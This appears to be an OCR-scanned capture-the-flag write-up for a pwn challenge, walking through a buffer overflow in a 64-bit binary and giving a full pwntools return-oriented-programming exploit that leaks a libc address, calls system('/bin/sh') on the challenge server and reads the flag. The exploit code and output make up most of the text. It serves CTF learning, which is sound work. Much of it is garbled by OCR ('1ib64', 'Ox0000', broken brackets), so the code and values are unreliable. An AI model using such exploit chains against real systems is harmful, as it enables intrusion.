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we are given a binary and an endpoint to connect to as 34.70.238.15:1337

) file vuln && checksec vuln

vuln:

87e2,

ELF 64-bit LSB executable,
reter /1ib64/1d-1inux-x86-64.s0.2,
for GNU/Linux 3.2.0,

x86-64, version 1 (SYSV), dynamically linked, interp
BuildID[shal]=23ca2c08aab1e891f529656a9255f0a4ee93

not stripped

[*] '/home/codacker/Workspace/red-team-summit-ctf/phase2/easy_medium/pwn/gadgets_for_

life/vuln'
Arch:
RELRO:
Stack:
NX:
PIE:

amd64-64-1ittle
Part ial RELRO

No canary found
NX enabled

No PIE (0x400000)

Opening the binary in ghidra
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we can see the binary is reading oxze0 bytes in a buffer of size z2 and hence we
have a buffer overflow.

Now we can use return oriented programming to exploit the binary and get a shell.
In order to write an exploit we need to do the following things

e Leak a libc address from the got table.

e Use that to calculate the libc base address

e Then call system("/bin/sh")

The following exploit does all of the above

#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
HOST, PORT = '34.70.238.15',1337

pop_rdi = 0x000000000040124b
bin_sh = Ox00000000001b75aa
ret = Ox0000000000401016

exe = ELF("./vuln")
libc = ELF("./1libc.so0.6")

if args.REMOTE:

io = remote(HOST, PORT)
else:

io = exe.process()

rop_chain = flat([
pop_rdi,
exe.got['puts'],
exe.plt['puts'],
exe.entry

1
payload = fit({40: rop_chain})

io.recv()

io.send(payload)

puts_libc = u64(io.recv(6)+b"\x00\x00")
libc_base = puts_libc - libc.symbols['puts']
print(hex(puts_libc))

print(hex(libc_base))

io.recv()
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rop_chain = flat([
ret,
pop_rdi,
libc_base + bin_sh,
libc_base + libc.symbols['system']

1)
payload = fit({40: rop_chain})
io.send(payload)

io.interactive()

running the exploit we get the shell and then we can read the flag file.

1Taeg
[+ ming to interactive made
cat flag
ctf{FIw_ghdgits_a_diy_h3dps_security_awlly}
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